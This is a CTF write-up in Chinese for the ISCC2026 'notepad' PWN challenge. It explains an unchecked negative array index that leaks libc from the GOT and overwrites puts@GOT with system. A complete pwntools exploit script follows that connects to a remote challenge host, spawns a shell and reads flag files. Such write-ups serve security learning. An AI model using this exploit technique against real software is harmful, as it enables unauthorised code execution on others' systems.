PWN-notepad

ISCC2026 WriteUp 提交模板

PWN-notepad

解题思路

1.看下检测:

image.png

有PIE所以需要泄露地址

2.打开IDA,程序整体很简单,只有两个关键函数:

  1. Create Note
  2. View Note

image.png

1.创建笔记

image.png

也就是结构体:

struct note {
    char name[0x10];
    char content[0x20];
};

跟踪下buf获取逻辑:

image.png|459

(这里我们变量n9称呼为索引idx)
.bss:00000000000035A0 notes db ? ;
也就是说在0x35A0处,创建笔记,每个note大小为0x30。
其次注意if检查那里,因为只检查了小于等于9,没有检测是否大于0,所以可以使用数组的负索引。
通过view函数我们就可以进行负索引泄露。

往上翻,即使got表地址,后续可以使用这个负索引泄露got地址。

image.png

可以看到一些关键的偏移:

 `notes = 0x35a0`
- `puts@got = 0x34d0`
- `printf@got = 0x34e0`
- `read@got = 0x34f0`
- `exit@got = 0x3510`
- `__libc_start_main@got = 0x3520`

我们根据这些偏移以及数组索引漏洞可以得到下面内容:
当索引=-4时

notes - 4 * 0x30 = 0x34e0
name    -> 0x34e0 -> printf@got   //上面note结构体刚好也是0x10,这里刚好。
content -> 0x34f0 -> read@got

所以用 view(-4) 可以泄露 GOT 中的 libc 地址。

其次 idx = -3时:

notes - 3 * 0x30 = 0x3510
name    -> 0x3510 -> exit@got
content -> 0x3520 -> __libc_start_main@got

本地利用时,用 view(-3) 更方便直接泄露 __libc_start_main

接下来我们就需要考虑怎么修改got表了,显然还是利用这个漏洞和create_note函数了:

// create_note() 函数会向 name字段写入0x10(16)字节,向 content 字段写入 0x20(32)字节,写入的目标地址由 get_note() 返回的指针决定。当索引 idx = -5 时,content 的写入范围会与内存地址 0x34c0 到 0x34df重叠,而其中第 3 个 qword(8 字节,即偏移 0x10 处)恰好命中 puts@GOT(全局偏移表中的 puts 地址),该地址位于 0x34d0。
ssize_t create_note()
{
  char *buf; // [rsp+8h] [rbp-8h]

  buf = get_note();
  printf("Name: ");
  read(0, buf, 0x10u);                         
  printf("Content: ");
  return read(0, buf + 16, 0x20u);            
}

idx = -5`

notes - 5 * 0x30 = 0x34b0
content = 0x34c0

所以 create(-5)content 会覆盖:

0x34c0 ~ 0x34df

0x34c0 : qword0
0x34c8 : qword1
0x34d0 : qword2 -> puts@got
0x34d8 : qword3

因此只要把第 3 个 qword 写成 system,就能把 puts@got 改成 system

利用思路已经很完善了,写完exp运行有:

image.png

ISCC{f59b1113-668f-4f84-bf58-ba1086fb189b}

Exp

from pwn import *
#from Crypto.Util.number import long_to_bytes, bytes_to_long

#==============全局配置=======================
ELFpath = "./notepad"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10005
NOASLR = False

REMOTE_READ_OFF = 0x10E1E0
REMOTE_SYSTEM_OFF = 0x52290

#===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
    io = process(ELFpath, aslr=not NOASLR)
else:
    io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath)
libc = ELF("./libc.so.6")

#=================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#====================业务常量====================
NAME_LEN = 0x10
CONTENT_LEN = 0x20

#================工具函数====================
def debug(io):
    input()  # 在脚本窗口点击回车,才会继续执行
    gdb.attach(io)
    # 记住调试时在脚本最后一行放个input()防止程序退出


def menu_choice(idx):
    sl(str(idx).encode())


def menu_create(idx, name, content):
    assert len(name) == NAME_LEN
    assert len(content) == CONTENT_LEN
    menu_choice(1)
    ru(b"Index: ")
    sl(str(idx).encode())
    sda(b"Name: ", name)
    sda(b"Content: ", content)
    ru(b"> ")


def menu_view(idx):
    menu_choice(2)
    ru(b"Index: ")
    sl(str(idx).encode())
    ru(b"Name: ")
    name = ru(b"\nContent: ", drop=True)
    content = ru(b"\n> ", drop=True)
    return name, content


def leak_libc():
    global libc
    if LOCAL:
        _, content = menu_view(-3)
        leak = u64(content[:8].ljust(8, b"\x00"))
        libc.address = leak - libc.sym["__libc_start_main"]
        log.success("__libc_start_main leak -> libc_base = %#x" % libc.address)
    else:
        _, content = menu_view(-4)
        leak = u64(content[:8].ljust(8, b"\x00"))
        libc.address = leak - REMOTE_READ_OFF
        log.success("read leak -> libc_base = %#x" % libc.address)


def overwrite_puts():
    if LOCAL:
        system_addr = libc.sym["system"]
    else:
        system_addr = libc.address + REMOTE_SYSTEM_OFF
    log.success("system = %#x" % system_addr)

    # notes[-5].content == 0x34c0, its 3rd qword hits puts@got(0x34d0).
    payload = p64(0) + p64(0) + p64(system_addr) + p64(0)
    menu_create(-5, b"Z" * NAME_LEN, payload)


def create_shell_note():
    if LOCAL:
        cmd_name = b"true\x00".ljust(NAME_LEN, b"A")
        cmd_content = b"cat /flag*;cat *flag*\x00".ljust(CONTENT_LEN, b"B")
    else:
      
        cmd_name = b"sh\x00".ljust(NAME_LEN, b"A")
        cmd_content = b"sh\x00".ljust(CONTENT_LEN, b"B")
    menu_create(0, cmd_name, cmd_content)


def trigger():
    menu_choice(2)
    ru(b"Index: ")
    sl(b"0")


def attack():
    leak_libc()
    create_shell_note()
    overwrite_puts()

    if not LOCAL:
        trigger()
        ru(b"Name: ")
        sl(b"cat /flag 2>/dev/null || cat /flag* 2>/dev/null || find / -maxdepth 3 -name 'flag*' 2>/dev/null; exit")
        out1 = ru(b"Content: ")
        print(out1.decode("latin1", "replace"))
        sl(b"exit")
        out2 = rc(4096, timeout=2)
        if out2:
            print(out2.decode("latin1", "replace"))
        return

    trigger()


#============实现========================
ru(b"> ")
attack()
if LOCAL:
    io.interactive()
else:
    io.close()

posted @ 2026-05-19 16:32  MillionMind  阅读(7)  评论(0)    收藏  举报